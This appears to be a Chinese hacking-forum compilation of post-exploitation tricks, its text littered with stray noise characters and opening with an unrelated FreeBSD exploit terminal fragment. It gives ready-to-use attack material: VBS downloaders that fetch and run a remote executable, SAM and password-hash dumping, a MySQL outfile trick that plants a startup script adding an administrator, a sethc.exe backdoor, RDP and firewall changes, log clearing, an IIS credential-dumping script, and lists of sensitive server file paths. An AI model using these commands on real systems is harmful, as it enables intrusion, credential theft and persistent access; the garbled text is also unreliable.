# l  s8 T( J/ J  Q8 d* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
+ E4 J+ N& A. \4 O0 f4 ?4 R, Y* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
+ I( @/ g2 v. k*
% U: Z9 J. D4 p: Ocalling nmount()
- {0 {7 e) A  j  U) D  _1 f& x
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
2 Y/ v0 {/ V# ^4 E2 \9 W/ B' b若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
& o7 p5 m& j% ?- L7 v) b}  

2 h# @" F& h% r* b) u# n提权先执行systeminfo
. p( V& I; E' c' vtoken 漏洞补丁号 KB956572
3 J3 X  H$ K1 VChurrasco          kb952004
9 m: j. |! m7 }; n3 H3 }2 g命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
for window：

@echo off
echo #########system info collection
8 }% X9 s+ Z! }* y, v9 Ksysteminfo
% A5 o& P4 t' x$ R% ever
" I6 m1 I6 `0 K# r5 Zhostname
- t0 g9 a8 ^9 y0 H2 Qnet user
% [! i6 Y0 V4 Wnet localgroup
net localgroup administrators
net user guest
net user administrator
8 Z4 \, L' O5 {# ^: l) X1 b; B( O
echo #######at- with   atq#####
echo schtask /query
/ e1 o4 c/ W1 D% Y4 F5 F
echo
echo ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
7 T; u7 k0 ?& B. Nipconfig/all
route print
9 H. W. }; @8 N  f: _arp -a
netstat -anipconfig /displaydns
echo
! Q5 D' \+ c  N& o0 [echo #######service############
sc query type= service state= all
echo #######file-##############
, s( L6 s' l- _7 rcd \
tree -F
for linux：
% a% l8 Z. N6 T; c5 X' c2 h
#!/bin/bash

" W7 j) L1 J2 ~echo #######geting sysinfo####
% F; u0 W( W3 eecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
+ ?! R$ I( a) X+ J9 d3 xecho #######basic infomation##
cat /proc/meminfo
8 i0 x, d! u/ z- j0 {echo
cat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
3 G7 _1 d. y- P# B. Z

+ j2 I& s+ T) y3 Kecho 'u'r id is' `id`
( c5 i9 H' [/ b' z& r" v( Iecho ###atq&crontab#####
. h: N2 N7 {4 R3 {atq
crontab -l
echo #####about var#####
set
+ L% I1 Q. E0 v" i/ |; o; `) V0 j
echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
, w: e- t4 @$ l3 U: hhostname
7 ~; _1 U0 K3 R+ e3 E6 D, W  [ipconfig -a
, X0 m( y- s, V  d/ [' h! V# f- @arp -v
echo ########user####
cat /etc/passwd|grep -i sh
8 u( ~2 ~, P6 X( d" i
echo ######service####
chkconfig --list
+ ^# O2 m% ~2 a  d0 h9 S9 g; f. j
for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
. Y+ X/ V- {, T( }# {3 ~4 |6 y8 Z2 Gdone

locate passwd >/tmp/password 2>/dev/null
sleep 5
7 u7 S- ^) Y0 y6 b7 Qlocate password >>/tmp/password 2>/dev/null
8 F/ _0 ~; i: L8 {( o5 a: `- i  b5 Ssleep 5
locate conf >/tmp/sysconfig 2>dev/null
! @2 ^, q# U) h7 X3 `+ Ysleep 5
locate config >>/tmp/sysconfig 2>/dev/null
sleep 5
- F% G1 G5 O6 H- G9 b$ N( e0 f
6 Z3 j+ @" U; r: u9 n6 A9 U2 N- I, j###maybe can use "tree /"###
* f% A3 o8 M0 w5 Q& recho ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
# `" @/ o. m# ^, O——————————————
3、ethash 不免杀怎么获取本机hash。
8 N6 h( p: M" x! v2 f首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
/ e* l6 b" h/ O$ l+ `/ I- @! t  g, h接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
# E; B% I# T/ O! I8 H) T+ ~, p% K0 O& qhash 抓完了记得把自己的账户密码改过来哦！
- t( {$ T  T3 c7 A- {' O据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
8 s3 q! k/ X# }+ j: Y——————————————
+ T) \/ q: n" F4 D) T4、vbs 下载者
8 x. b. q" @, B3 J) Y" ~1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
0 F7 L& Y/ J9 b/ ^, L2 Gecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
+ N! b1 m! {8 ~" ?" x& a: Q, ^6 Necho sGet.Type = 1 >>c:\windows\cftmon.vbs
6 Q+ u( z6 `& X6 Pecho sGet.Open() >>c:\windows\cftmon.vbs
1 ?1 m& ~  o- Kecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
# a# z, D( g2 m% A" `5 eecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
0 ]# |- l0 \# X3 O# o$ R& Y" z7 w7 }
2 C9 G- ]3 F$ y% P2
$ w8 x8 D% u9 b) l0 X! _" SOn Error Resume Nextim iRemote,iLocal,s1,s2
2 `7 R! H! T" k+ B9 ~' P+ [) \& u0 k1 eiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
0 v2 O8 Z6 y: p7 }' Z% M1 W5 X1 gSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
. t; a# ~- \# PSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
! _/ p. _' N4 S+ J8 t% e) M$ Q0 o
$ s/ I" i% I1 o' y6 Ycscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
2 [( t* Z+ r1 L' a——————————————————
- T* t, I9 S2 u% {( F6 b& Z5、
8 X6 K8 `5 X) {, S% _1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
- Y7 A3 F/ ~7 G( d- k- q) rREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
) d" d& G; @0 Q& W6 P3.更改终端端口为2008(0x7d8)
! U$ ]! \0 `+ j1 v) ]0 X* M0 xREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
4 e$ R) o3 i2 G6 W9 B0 v) ^  IREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
8 ?7 A# }/ w- r$ w1 w————————————————
6、create table a (cmd text);
2 }7 {0 [- a4 o, o$ zinsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7 m# `; [, P8 B% A' q! |7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i
/ z; X3 {1 I. C3 T: {
列出d的所有目录
( s/ @) q& }; }6 u4 Z/ n! G9 ]+ m. g  
/ x* Q% \8 |1 u  for /d %i in (???) do @echo %i
* g, ~% k# C  c  _5 g, Y1 \
( [+ L6 C  k0 ^5 [1 G5 F4 i把当前路径下文件夹的名字只有1-3个字母的打出来
! I4 I" M1 f. a. B) U' p1 g
# a. w& C/ v' R1 R! }2.for /r %i in (*.exe) do @echo %i
5 Z# i, J+ K) M  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

8 d/ o, \2 c5 E7 Z2 hfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

- j5 \: C1 A- @3.for /f %i in (c:\1.txt) do echo %i
+ ^8 ^! J' c# @  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
! P) u+ \* m( y
0 m$ {8 Z1 Q+ R! B4 ?4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
# H& E5 J: s8 Q# o8 O1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
1 v1 Z' p2 k+ b: k( |6 U5 R2 L2 w' p
2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
% |$ B# x- ~3 P. Z2 l修改PortNumber.

3.清除3389登录记录:
  O1 Q2 F) h) j! @4 k. yreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
7 k' [7 V" R. Z  q8 U' N; a
# F6 m- N! J( o  [# a4.Radmin密码:
" k/ \! d: N9 x1 h5 @% @reg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

+ ]4 d" w8 D  o; z3 X5 G3 C, |6.IPSec默认免除项88端口(需重启):
  C  `5 J9 B* w- G0 i0 ~reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
, [) j. J. m% v7 K! [8 Xnetsh ipsec dynamic set config ipsecexempt value=0

8 `4 e/ ]1 @/ n# L) V% j$ R3 E7.停止指派策略"myipsec":
* {! T7 Z6 |, T& s# gnetsh ipsec static set policy name="myipsec" assign=n
% P" p+ x" ]2 V: p( b" ]. P
8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
3 F2 w9 C) z7 ~/ ?
9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
5 w0 M4 U$ t: R* wreg save hklm\security c:\security.hive

10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
& U* }" {1 a; r7 h4 Z/ c# Q( l星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
0 ^0 u8 G9 c, E: {& tFor Each obj3w In objservice
: A. u7 L" V( {childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
5 O$ d, k. e7 n+ E& z1 oif IsNumeric(childObjectName)=true then
( H* d# N+ d/ L/ o2 {& Cset IIs=objservice.GetObject("IIsWebServer",childObjectName)
: i. @6 y0 N9 t- \- [if err.number<>0 then
" p! n- q* |$ n! _+ W# hexit for
. Q( I* u' G( \2 o( O2 smsgbox("error!")
wscript.quit
end if
$ [; r  |' ^, W! Yserverbindings=IIS.serverBindings
, H3 Q" @. J8 c) w: v- Z5 v  U0 pServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
6 P! w3 i- R$ ^end if
- S. S3 R- f' R) VNext
8 k" L  G5 g+ J, K, Jwscript.echo list
! v8 h( {4 c# C! BSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
: {- c8 v) W) L  RWScript.Quit
复制代码
& r7 j7 U# m. ~* {" U----------------------2011新气象，欢迎各位补充、指正、优化。----------------
. t/ m0 h1 R+ S9 o8 {! [2 F1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
% C& Y# t. M. m9 o: e0 F* E# ?2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
- v/ y  i) V4 b" }5 R4 C<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
% @7 P0 Q3 T6 sPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
1 I" H# o' B4 I# x5 i) A 原因是ASP大马里有这样的代码：（没有就没事儿了）
# U+ ]7 w. |/ J# f7 |6 F url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
; Q) H# E4 E# q url=request.severvariables("path_info")
* ~+ U2 h: U- I0 \ path_info可以直接呈现虚拟路径 顺利解析gif大马

==============================================================
' t0 O. ?2 v" I7 JLINUX常见路径：
' i' n3 C5 x8 B7 a# N9 `5 o9 v5 x
/etc/passwd
% ]8 d' Q" m0 L# }7 ~) o- j/etc/shadow
0 o, L$ x& f; X4 B+ v! F0 q/etc/fstab
/etc/host.conf
/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
* m. W! J/ a6 r2 X# u/var/www/conf/httpd.conf
/var/www/htdocs/index.html
# O; G- c3 O( i8 a  K. j/var/httpd/conf/php.ini
' v0 h& l6 K+ A' G1 m, H5 w  \9 B, q5 R/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
$ p0 ]' ^; B+ W* l: |; x) P/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
: Y% b, {; y5 `4 ?% }  r% ]1 R& F/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
% W% Q, T: m- \3 t/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
# m) ^% f% Y1 Y* D* F) p$ i' T/usr/local/apache/htdocs/index.php
) E8 u  H/ h+ D% D  z) a/usr/local/apache2/htdocs/index.html
7 T! c2 B1 E9 a% V4 n1 y/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/ ]1 g# X5 `+ L/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
) @* H; h+ s% b6 ]. J" {) g/etc/httpd/htdocs/index.php
3 u8 v& _# [* R/etc/httpd/conf/httpd.conf
$ A1 `0 f& I8 b" e3 x; p/etc/httpd/htdocs/index.html
% O3 K5 B( k0 }2 P9 V; }5 @/www/php/php.ini
1 [1 _$ k' m, d  B/www/php4/php.ini
/www/php5/php.ini
7 @7 A6 a5 Y3 _6 Z/www/conf/httpd.conf
/www/htdocs/index.php
/ z" M& O/ S% ?! }: ?; z8 l/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
0 b) G' D# y4 T$ }9 G/apache/apache/conf/httpd.conf
$ A" l" Y+ K% ]8 @6 p8 v6 G6 E8 D/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
; u( W) }( R- P/etc/apache2/apache.conf
/etc/apache/httpd.conf
; N6 U5 v/ ]; ^2 W# B6 K6 [/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
* ]1 [5 D6 J& F$ f/etc/apache2/sites-available/default
: J8 K' K# I4 q1 ]2 A6 |/etc/phpmyadmin/config.inc.php
/ W: q1 S6 G7 W3 U( {. U/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
' n; |% L# e' R1 d/etc/httpd/conf.d/httpd.conf
, V1 M/ }+ P+ G" R) t3 h/etc/httpd/logs/error_log
# h# q& O2 T6 Q! Z+ G4 S/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
9 j2 K3 x5 j3 a7 A# a/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
, ^+ `1 l* x& }0 `! Y  n8 c/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
$ O+ p. x0 T4 t: X# r4 |/ U2 w/var/log/apache2/error_log
/var/log/apache2/error.log
8 W3 Z, M' y5 X, ~+ |/var/log/apache2/access_log
/var/log/apache2/access.log
9 N$ i" ~- B0 S  k/var/www/logs/error_log
; }9 ]$ [- g% j# |! c/var/www/logs/error.log
$ w1 ^; U9 J& i/var/www/logs/access_log
# v" u+ e1 \8 i/var/www/logs/access.log
: f7 j; F9 O1 ?: g2 }/usr/local/apache/logs/error_log
& P* j+ c0 A  Q" p4 J! W/usr/local/apache/logs/error.log
0 Q9 N' \' ^2 ]5 e* b9 w* E/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
2 B2 x8 E/ m9 [7 ?/var/log/error.log
+ P. q6 |- j; i* |/var/log/access_log
% }5 t9 d  ]5 z5 I/var/log/access.log
/ k, |+ Q0 x7 I( e) d! j- e* Q/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
2 \, ]1 j/ x) H  \% o3 Y3 L" I/etc/httpd/php.ini
/usr/lib/php.ini
2 L7 |( d7 e" g7 e0 I5 P* P% m* R/usr/lib/php/php.ini
/usr/local/etc/php.ini
; \! m- H# p+ z* E- L/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
2 S, T: _4 Z. m/usr/local/php4/php.ini
# M; b" O. m1 a* t/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
9 a; P& E1 [8 o) D! w/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
! H& v/ J$ G) U: \/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
! A( V8 Y9 S/ N" c6 n/etc/php5/apache/php.ini
; A( a) f+ |6 s: D/ i0 y+ l# [7 l6 h/etc/php5/apache2/php.ini
9 x6 b6 ?& j. G, D$ D' m5 e/etc/php/php.ini
/etc/php/php4/php.ini
3 A" o5 ?% I+ f( Y  H- }/etc/php/apache/php.ini
6 C1 O1 X& r0 ^4 f/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
3 i9 K) \( Z4 d* p9 G/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
5 K3 L9 U4 T0 Q/ B/php4/php.ini
% D& d! ~6 b' t- n( z1 E/php/php.ini
6 H6 B* g0 ?. D, W6 c/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
8 M/ ?! P  s! R4 y2 T! k/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
- T9 n7 z+ U; D' ^7 J4 R6 @" [/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
3 Q/ n5 m6 E% @, T/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/ {. `( t5 G, f  C# y+ k+ L( X" e/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
8 M  [' y3 @/ Z4 r% n/etc/mysql/my.cnf
/etc/my.cnf
9 h# l1 O2 U" A3 X3 ^. l5 U/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
: A: y+ f0 k4 y! t: r! p/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
% b1 p" u) ~1 H( ~% T  c, |& \% W/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
9 [9 \0 F$ d5 }) m- C* P( j
5 Z5 K4 l# c3 b1 W  oc:\windows\php.ini
, M0 V$ p  l5 k2 i/ hc:\boot.ini
: u! H- A2 I* U/ C$ Q4 p9 Ic:\1.txt
c:\a.txt

c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
: C" ?7 E- w  L  Cc:\program files\CMailServer\CMailServer.exe
+ z( L) M6 b! F% X9 ]; Gc:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
& k, C1 m# P' xC:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
% z* h! e. E2 rC:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
# r6 |8 E( o6 N; OC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
0 C" V, R# C/ t( M3 T% `1 D
/ @- Y* D+ [' [; y8 Y. `9 pC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
3 U- ]9 o$ J8 ~9 S' yc:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
2 W/ N' O. q9 k- jc:\web\index.asp
4 {- o& f' c# h6 W1 P+ ?$ j9 U* ?+ vc:\www\index.asp
c:\wwwsite\index.asp
: t* E7 U8 f: v+ [$ p# p5 Ic:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
c:\WWWROOT\index.php
3 K/ `! A, C. I' n& G/ Mc:\WWWsite\index.php
c:\web\default.html
& y& w. w3 h, T' E/ Sc:\www\default.html
- z* w  ]( [+ z2 Ec:\WWWROOT\default.html
# @- E+ _0 }- S! i2 @3 ]c:\website\default.html
2 ?' e/ C3 }! D: N' Hc:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
" h' P& p, o5 P9 A% qc:\WWWROOT\default.asp
% L6 S- x0 w2 F; g# ]- Oc:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
9 u( R% J: L$ R3 G8 ?) D* Qc:\WWWsite\default.php
1 }4 k8 |, z+ h- X3 O, R) u6 VC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
2 E  [# |% y$ ?) hc:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
% r1 |5 g: ~; I  K3 _8 h+ zC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
( [" `3 A; y" JC:\Program Files\Internet Explorer\IEXPLORE.EXE
5 |* T8 W; F0 E4 w8 `& TC:\Program Files\winrar\rar.exe
/ G' K# R3 _3 u1 M: s$ A' z) zC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
3 K7 x: ^- Q) H. w0 D0 C' lc:\ravbin\store.ini
" X% ], S/ M. r% B. q! X3 a) Sc:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
5 w3 a$ J' Q2 o$ D2 DC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
# j- z# s# n8 {0 U, zC:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
9 G; X1 r$ c7 K& u& C6 x3 {C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
; h$ V" ?. X1 o  j- q4 S7 WC:\Program Files\Symantec\SYMEVENT.INF
& j  m! w. O3 ]- XC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
. O7 _) P8 h! ^; jC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
0 z$ v0 L; ^& v. z  U2 sC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
- Y, j( f" b  W7 U1 @C:\Program Files\MySQL\MySQL Server 5.0\my.ini
" B* z* l' {% J! E) FC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
. A) c$ P9 k+ S) d% T9 X. NC:\Program Files\MySQL\MySQL Server 5.0\COPYING
& s0 x2 o  v! i# B6 ]C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
% P( D% x# h- H& O/ m! ac:\MySQL\MySQL Server 4.1\bin\mysql.exe
5 D' n  G$ R$ c0 mc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
  F8 M: W& @8 T8 }9 m2 ^C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
* ~1 f2 R7 n1 R# hC:\WINDOWS\system32\inetsrv\w3wp.exe
+ G; t% l5 M$ ]' u1 RC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
. q1 i) [; f- E' ^  x: [" dC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
3 L+ w7 V2 ~& xC:\WINDOWS\system32\config\default.LOG
( O3 N7 U. _* {- B0 c8 d& L1 A' DC:\WINDOWS\system32\config\sam
7 U# Q9 s0 x3 ?0 R6 h# YC:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
0 }; F) U; T1 V) j$ {2 Mc:\program files\CMailServer\config.ini
- X3 N" x/ V; @% Z9 f% M4 bc:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
6 v* A2 T( J. G( H6 r! Lc:\tomcat\bin\version.sh
! o7 q3 j% O) ~) hc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
8 y$ W% R1 }# m, v/ `9 L) tc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
% Z: H# W" M. ~: U( Uc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
4 N0 a1 d( Y: z4 U' a/usr/local/tomcat5527/bin/version.sh
2 E9 G1 D4 k4 \9 w6 ^8 L1 C/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
